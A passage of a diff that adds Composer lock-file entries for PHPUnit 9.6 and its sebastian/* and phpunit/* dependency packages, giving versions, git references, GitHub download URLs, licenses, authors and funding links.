"require-dev": { + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-pcov": "PHP extension that provides line coverage", + "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "9.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", + "homepage": "https://github.com/sebastianbergmann/php-code-coverage", + "keywords": [ + "coverage", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", + "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.30" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T06:47:57+00:00" + }, + { + "name": "phpunit/php-file-iterator", + "version": "3.0.6", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-file-iterator.git", + "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", + "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "FilterIterator implementation that filters files based on a list of suffixes.", + "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", + "keywords": [ + "filesystem", + "iterator" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", + "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/3.0.6" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2021-12-02T12:48:52+00:00" + }, + { + "name": "phpunit/php-invoker", + "version": "3.1.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-invoker.git", + "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/5a10147d0aaf65b58940a0b72f71c9ac0423cc67", + "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "ext-pcntl": "*", + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-pcntl": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Invoke callables with a timeout", + "homepage": "https://github.com/sebastianbergmann/php-invoker/", + "keywords": [ + "process" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-invoker/issues", + "source": "https://github.com/sebastianbergmann/php-invoker/tree/3.1.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T05:58:55+00:00" + }, + { + "name": "phpunit/php-text-template", + "version": "2.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-text-template.git", + "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", + "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Simple template engine.", + "homepage": "https://github.com/sebastianbergmann/php-text-template/", + "keywords": [ + "template" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-text-template/issues", + "source": "https://github.com/sebastianbergmann/php-text-template/tree/2.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T05:33:50+00:00" + }, + { + "name": "phpunit/php-timer", + "version": "5.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-timer.git", + "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", + "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Utility class for timing", + "homepage": "https://github.com/sebastianbergmann/php-timer/", + "keywords": [ + "timer" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-timer/issues", + "source": "https://github.com/sebastianbergmann/php-timer/tree/5.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:16:10+00:00" + }, + { + "name": "phpunit/phpunit", + "version": "9.6.16", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/phpunit.git", + "reference": "3767b2c56ce02d01e3491046f33466a1ae60a37f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/3767b2c56ce02d01e3491046f33466a1ae60a37f", + "reference": "3767b2c56ce02d01e3491046f33466a1ae60a37f", + "shasum": "" + }, + "require": { + "doctrine/instantiator": "^1.3.1 || ^2", + "ext-dom": "*", + "ext-json": "*", + "ext-libxml": "*", + "ext-mbstring": "*", + "ext-xml": "*", + "ext-xmlwriter": "*", + "myclabs/deep-copy": "^1.10.1", + "phar-io/manifest": "^2.0.3", + "phar-io/version": "^3.0.2", + "php": ">=7.3", + "phpunit/php-code-coverage": "^9.2.28", + "phpunit/php-file-iterator": "^3.0.5", + "phpunit/php-invoker": "^3.1.1", + "phpunit/php-text-template": "^2.0.3", + "phpunit/php-timer": "^5.0.2", + "sebastian/cli-parser": "^1.0.1", + "sebastian/code-unit": "^1.0.6", + "sebastian/comparator": "^4.0.8", + "sebastian/diff": "^4.0.3", + "sebastian/environment": "^5.1.3", + "sebastian/exporter": "^4.0.5", + "sebastian/global-state": "^5.0.1", + "sebastian/object-enumerator": "^4.0.3", + "sebastian/resource-operations": "^3.0.3", + "sebastian/type": "^3.2", + "sebastian/version": "^3.0.2" + }, + "suggest": { + "ext-soap": "To be able to generate mocks based on WSDL files", + "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" + }, + "bin": [ + "phpunit" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "9.6-dev" + } + }, + "autoload": { + "files": [ + "src/Framework/Assert/Functions.php" + ], + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "The PHP Unit Testing framework.", + "homepage": "https://phpunit.de/", + "keywords": [ + "phpunit", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/phpunit/issues", + "security": "https://github.com/sebastianbergmann/phpunit/security/policy", + "source": "https://github.com/sebastianbergmann/phpunit/tree/9.6.16" + }, + "funding": [ + { + "url": "https://phpunit.de/sponsors.html", + "type": "custom" + }, + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpunit/phpunit", + "type": "tidelift" + } + ], + "time": "2024-01-19T07:03:14+00:00" + }, + { + "name": "sebastian/cli-parser", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/cli-parser.git", + "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/442e7c7e687e42adc03470c7b668bc4b2402c0b2", + "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for parsing CLI options", + "homepage": "https://github.com/sebastianbergmann/cli-parser", + "support": { + "issues": "https://github.com/sebastianbergmann/cli-parser/issues", + "source": "https://github.com/sebastianbergmann/cli-parser/tree/1.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T06:08:49+00:00" + }, + { + "name": "sebastian/code-unit", + "version": "1.0.8", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit.git", + "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/1fc9f64c0927627ef78ba436c9b17d967e68e120", + "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the PHP code units", + "homepage": "https://github.com/sebastianbergmann/code-unit", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit/issues", + "source": "https://github.com/sebastianbergmann/code-unit/tree/1.0.8" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:08:54+00:00" + }, + { + "name": "sebastian/code-unit-reverse-lookup", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", + "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", + "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Looks up which function or method a line of code belongs to", + "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", + "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/2.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T05:30:19+00:00" + }, + { + "name": "sebastian/comparator", + "version": "4.0.8", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/comparator.git", + "reference": "fa0f136dd2334583309d32b62544682ee972b51a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/fa0f136dd2334583309d32b62544682ee972b51a", + "reference": "fa0f136dd2334583309d32b62544682ee972b51a", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/diff": "^4.0", + "sebastian/exporter": "^4.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@2bepublished.at" + } + ], + "description": "Provides the functionality to compare PHP values for equality", + "homepage": "https://github.com/sebastianbergmann/comparator", + "keywords": [ + "comparator", + "compare", + "equality" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/comparator/issues", + "source": "https://github.com/sebastianbergmann/comparator/tree/4.0.8" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2022-09-14T12:41:17+00:00" + }, + { + "name": "sebastian/complexity", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/complexity.git", + "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/25f207c40d62b8b7aa32f5ab026c53561964053a", + "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for calculating the complexity of PHP code units", + "homepage": "https://github.com/sebastianbergmann/complexity", + "support": { + "issues": "https://github.com/sebastianbergmann/complexity/issues", + "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T06:19:30+00:00" + }, + { + "name": "sebastian/diff", + "version": "4.0.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/diff.git", + "reference": "74be17022044ebaaecfdf0c5cd504fc9cd5a7131" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/74be17022044ebaaecfdf0c5cd504fc9cd5a7131", + "reference": "74be17022044ebaaecfdf0c5cd504fc9cd5a7131", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3", + "symfony/process": "^4.2 || ^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Kore Nordmann", + "email": "mail@kore-nordmann.de" + } + ], + "description": "Diff implementation", + "homepage": "https://github.com/sebastianbergmann/diff", + "keywords": [ + "diff", + "udiff", + "unidiff", + "unified diff" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/diff/issues", + "source": "https://github.com/sebastianbergmann/diff/tree/4.0.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-05-07T05:35:17+00:00" + }, + { + "name": "sebastian/environment", + "version": "5.1.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/environment.git", + "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", + "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-posix": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides functionality to handle HHVM/PHP environments", + "homepage": "http://www.github.com/sebastianbergmann/environment", + "keywords": [ + "Xdebug", + "environment", + "hhvm" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/environment/issues", + "source": "https://github.com/sebastianbergmann/environment/tree/5.1.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:03:51+00:00" + }, + { + "name": "sebastian/exporter", + "version": "4.0.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/exporter.git", + "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", + "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/recursion-context": "^4.0" + }, + "require-dev": { + "ext-mbstring": "*", + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + } + ], + "description": "Provides the functionality to export PHP variables for visualization", + "homepage": "https://www.github.com/sebastianbergmann/exporter", + "keywords": [ + "export", + "exporter" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/exporter/issues", + "source": "https://github.com/sebastianbergmann/exporter/tree/4.0.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2022-09-14T06:03:37+00:00" + }, + { + "name": "sebastian/global-state", + "version": "5.0.6", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/global-state.git", + "reference": "bde739e7565280bda77be70044ac1047bc007e34" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/bde739e7565280bda77be70044ac1047bc007e34", + "reference": "bde739e7565280bda77be70044ac1047bc007e34", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/object-reflector": "^2.0", + "sebastian/recursion-context": "^4.0" + }, + "require-dev": { + "ext-dom": "*", + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-uopz": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Snapshotting of global state", + "homepage": "http://www.github.com/sebastianbergmann/global-state", + "keywords": [ + "global state" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/global-state/issues", + "source": "https://github.com/sebastianbergmann/global-state/tree/5.0.6" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-08-02T09:26:13+00:00" + }, + { + "name": "sebastian/lines-of-code", + "version": "1.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/lines-of-code.git", + "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/e1e4a170560925c26d424b6a03aed157e7dcc5c5", + "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for counting the lines of code in PHP source code", + "homepage": "https://github.com/sebastianbergmann/lines-of-code", + "support": { + "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", + "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T06:20:34+00:00" + }, + { + "name": "sebastian/object-enumerator", + "version": "4.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-enumerator.git", + "reference": "5c9eeac41b290a3712d88851518825ad78f45c71" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/5c9eeac41b290a3712d88851518825ad78f45c71", + "reference": "5c9eeac41b290a3712d88851518825ad78f45c71", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/object-reflector": "^2.0", + "sebastian/recursion-context": "^4.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Traverses array structures and object graphs to enumerate all referenced objects", + "homepage": "https://github.com/sebastianbergmann/object-enumerator/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", + "source": "https://github.com/sebastianbergmann/object-enumerator/tree/4.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:12:34+00:00" + }, + { + "name": "sebastian/object-reflector", + "version": "2.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-reflector.git", + "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", + "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Allows reflection of object attributes, including inherited and non-public ones", + "homepage": "https://github.com/sebastianbergmann/object-reflector/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-reflector/issues", + "source": "https://github.com/sebastianbergmann/object-reflector/tree/2.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:14:26+00:00" + }, + { + "name": "sebastian/recursion-context", + "version": "4.0.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/recursion-context.git", + "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", + "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + } + ], + "description": "Provides functionality to recursively process PHP variables", + "homepage": "https://github.com/sebastianbergmann/recursion-context", + "support": { + "issues": "https://github.com/sebastianbergmann/recursion-context/issues", + "source": "https://github.com/sebastianbergmann/recursion-context/tree/4.0.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:07:39+00:00" + }, + { + "name": "sebastian/resource-operations", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/resource-operations.git", + "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", + "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides a list of PHP built-in functions that operate on resources", + "homepage": "https://www.github.com/sebastianbergmann/resource-operations", + "support": { + "issues": "https://github.com/sebastianbergmann/resource-operations/issues", + "source": "https://github.com/sebastianbergmann/resource-operations/tree/3.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T06:45:17+00:00" + }, + { + "name": "sebastian/type", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/type.git", + "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", + "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the types of the PHP type system", + "homepage": "https://github.com/sebastianbergmann/type", + "support": { + "issues": "https://github.com/sebastianbergmann/type/issues", + "source": "https://github.com/sebastianbergmann/type/tree/3.2.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:13:03+00:00" + }, + { + "name": "sebastian/version", + "version": "3.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/version.git", + "reference": "c6c1022351a901512170118436c764e473f6de8c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c6c1022351a901512170118436c764e473f6de8c", + "reference": "c6c1022351a901512170118436c764e473f6de8c", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that helps with managing the version number of Git-hosted PHP projects", + "homepage": 